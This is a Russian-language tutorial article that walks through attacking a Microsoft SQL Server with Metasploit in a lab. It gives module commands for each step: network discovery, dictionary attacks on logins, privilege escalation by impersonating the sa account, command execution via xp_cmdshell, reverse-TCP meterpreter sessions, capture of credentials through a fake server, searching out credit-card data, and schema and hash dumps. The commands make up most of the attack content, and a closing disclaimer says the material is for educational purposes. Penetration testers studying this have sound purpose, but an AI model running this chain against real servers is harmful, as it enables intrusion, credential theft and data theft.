Тестирование на проникновение MSSQL с помощью Metasploit

Дата: 01.09.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Тестирование на проникновение MSSQL с помощью Metasploit

В этой статье пойдет речь о пентестинге MSSQL с помощью программы Metasploit. Читатели ближе познакомятся с характерными чертами и возможностями инструмента.

Введение

Metasploit – это отличный фреймворк, разработанный H.D. Moore. Он представляет собой бесплатный инструмент для тестирования на проникновение. Программа является кроссплатформенной и имеет открытый исходный код, а также обладает целым рядом полезных функций. Она стала очень популярной, потому что профессионалы считают ее мощным инструментом для проведения аудита безопасности. Так оно и есть: у Metasploit множество функций, которые помогут пользователям защитить себя. Стоит отметить, что инструмент может инкапсулировать эксплойт, который обязательно понадобится пентестеру.

Далее читатели узнают, как можно использовать Metasploit для тестирования и проведения эксплойта MSSQL. Будет рассмотрен каждый эксплойт, который Metasploit может предложить, шаг за шагом, от поиска сервера MSSQL в сети до извлечения конфиденциальной информации из базы данных и получения полного контроля. Не стоит больше говорить – самое время перейти к сути.

Поиск сервера

При тестировании серверов MSSQL, будь то удаленно или локально, в первую очередь нужно найти сам сервер в сети. Для этого следует использовать следующий эксплойт в Metasploit:

use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Как можно увидеть на изображении выше, эксплойт предоставит пользователю подробную информацию об активном сервере в сети.

Получение учетных данных для входа

Пользователь нашел сервер, поэтому следующий шаг – получить учетные данные. Для этого он проведет атаку с использованием словаря с помощью следующего эксплойта:

use auxiliary/scanner/mssql/mssql_login 
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Получение привилегий (системный администратор)

Теперь, когда у пользователя есть учетные данные, нужно проверить, какие права имеет юзер, например, является ли он системным администратором. Для дальнейшей практической части нужен пользователь с правами сисадмина. Человек будет использовать следующий эксплойт:

use auxiliary/admin/mssql/mssql_escalate_dbowner 
set rhosts 192.168.1.3 
set username lowpriv 
set password [email protected] 
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Теперь понятно, что данный пользователь не имеет привилегий системного администратора. Поэтому следует попытаться выяснить, может ли он выдавать себя за любого другого пользователя, имеющего права системного администратора. Для этого необходимо применить следующий эксплойт:

use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit

Теперь стало известно, что пользователь с низким уровнем привилегий может выдавать себя за Sa-пользователя. Пользователь Sa является системным администратором, и с помощью вышеупомянутого эксплойта любой юзер может стать им.

Если запустить предыдущий эксплойт mssql_escalate_dbowner, то пользователь увидит, что повышение привилегий не требуется из-за «изменения роли».

Тестирование на проникновение MSSQL с помощью Metasploit

Эксплойт xp_cmdshell

Пользователь уже нашел сервер MSSQL в сети, получил учетные данные, выдал себя за сисадмина, чтобы иметь более высокие привилегии. Итак, теперь нужно попробовать заполучить сеанс meterpreter сервера с помощью эксплойта xp_cmdshell:

use exploit/windows/mssql/mssql_payload 
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Эксплойт пытается помочь пользователю получить сеанс. Как только xp_cmdshell будет успешно осуществлен, человек завладеет сеансом meterpreter.

Тестирование на проникновение MSSQL с помощью Metasploit

Перечисление MSSQL

Пользователь перечислит сервер и посмотрит, какую информацию он может получить, а также ознакомится с параметрами конфигурации. Для этого будет использоваться следующий эксплойт:

use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

В результате выполнения вышеописанного эксплойта пользователь смог увидеть, какие разрешения предоставлены базе данных, какие учетные записи доступны, а также некоторую другую полезную информацию.

Перечисление пользователей для входа в систему

MSSQL предоставляет различным пользователям возможность для входа на сервер. Доступ к серверу можно получить через все учетные записи пользователей Windows и учетные записи в базе данных. Благодаря Metasploit у пользователя есть эксплойт для перечисления всех их. Он выглядит следующим образом:

use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

И в результате человек получает нужную ему информацию со списком всех пользователей.

Выполнение запросов MSSQL

В Metasploit есть эксплойт, который поможет удаленно выполнять все запросы MSSQL. По умолчанию он запускает «[email protected]@version», но пользователь может перейти к любому желаемому запросу с помощью команды «set SQL *query*». Для развертывания указанного эксплойта нужно использовать следующий набор команд:

use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password [email protected]
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

С помощью описанного выше эксплойта у пользователя есть подробная информация о сервере.

Эксплойт Mssql_exec

Следующий эксплойт поможет воспользоваться преимуществами хранимой процедуры xp_cmdshell. Ранее в этой статье пользователь восстановил учетные данные сервера. Теперь, с помощью них можно вызвать хранимую процедуру xp_cmdshell и выполнить любую команду, которую человек захочет. Чтобы развернуть указанный эксплойт, нужно ввести данную команду:

use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set cmd "net user"
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Эксплойт выполнен успешно – человек добился желаемого результата, т.е. получил список всех пользователей сети.

Выполнение SQL-запроса с помощью файла в формате .sql

Другой способ выполнить нужную команду — сначала записать синтаксис Sql в файл .sql, используя:

cat user.sql
CREATE LOGIN test1 WITH PASSWORD = '[email protected]';

Теперь пользователь может использовать этот файл .sql для удаленного запуска процессов на сервере с помощью следующего эксплойта:

use auxiliary/admin/mssql/mssql_sql_file
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sql_file /root/user.sql
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Как результат, будет создан пользователь с именем test1. Человек может вручную перейти на сервер и подтвердить создание пользователя.

Тестирование на проникновение MSSQL с помощью Metasploit

Создание базы данных

Обычно на любом сервере MSSQL, который тестируется, уже есть база данных. Однако так как сервер, на котором осуществляется тестирование на проникновение, является новым, так как пользователь хотел показать установку лабы, чтобы следующий эксплойт работал, следует создать базу данных. Чтобы сделать это, надо использовать следующую команду:

create database bank;
Тестирование на проникновение MSSQL с помощью Metasploit

Поскольку приведенный выше запрос успешно выполняется, следующий шаг – ввести данный запрос:

CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);
Тестирование на проникновение MSSQL с помощью Metasploit

Как видно на экране, таблица создана. Теперь следует добавить данные в таблицу с помощью следующего запроса:

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');

INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');
Тестирование на проникновение MSSQL с помощью Metasploit

Таким образом, база данных будет создана.

Поиск выборочных данных

Теперь, когда у пользователя есть база данных, нужно понять, как он может получить ее содержимое с помощью Metasploit. К счастью, у инструмента есть особый эксплойт, который использует определенные ключевые слова для сопоставления элементов в базе данных, а затем выдает всю информацию, связанную с этими ключевыми словами. Сами ключевые слова задаются пользователем. Следует использовать данный тип эксплойта:

use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
set sample_size 4
set keywords FirstName|passw|credit
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Таким образом, использование вышеупомянутого эксплойта поможет найти необходимую информацию в базе данных. Например, данные, которые человек смог получить, содержали информацию о кредитных картах пользователей.

SchemaDump

Следующий эксплойт, который пользователь собирается использовать, произведёт dumb SQL-сервера. Чтобы задействовать его, нужно ввести следующий набор команд:

use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

И вот, с помощью вышеупомянутого эксплойта, у пользователя есть данные с сервера.

Захват логина MSSQL

Следующий эксплойт, который пользователь собирается использовать, — capture/ms sql. Он создает поддельный сервер и пытается захватить аутентифицированные учетные данные с исходного сервера. Чтобы задействовать его, подойдет данная команда:

use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit
Тестирование на проникновение MSSQL с помощью Metasploit

Теперь, например, если пользователь попытается войти на сервер, у него будут учетные данные:

sqsh -S 192.168.1.2 -U sa -P "[email protected]"
Тестирование на проникновение MSSQL с помощью Metasploit

И когда он проверит свой Metasploit, вуаля! У пользователя будут правильные учетные данные для входа на сервер.

Тестирование на проникновение MSSQL с помощью Metasploit

Использование CLRIntegration

Следующий эксплойт поможет воспользоваться преимуществами интеграции CLR. Он позволит интегрировать CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит пользователю сеанс, программа восстановит все настройки в их первоначальном виде. Чтобы использовать его, следует ввести команду:

use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.3
set username lowpriv
set password [email protected]
exploit
blank

Как видно, интеграция прошла успешно. Сеанс meterpreter получен.

Hashdump

И последний, но не менее важный: данный эксплойт используется для сброса хэшей пользователей с сервера. Чтобы применить его, нужно ввести:

use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password [email protected]
expoit
blank

Примечание: эксплойт hashdump работает только на MSSQL Server 2012.

Подводя итог, Metasploit является одним из лучших инструментов для тестирования серверов MSSQL, поскольку он имеет множество эксплойтов и функций.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *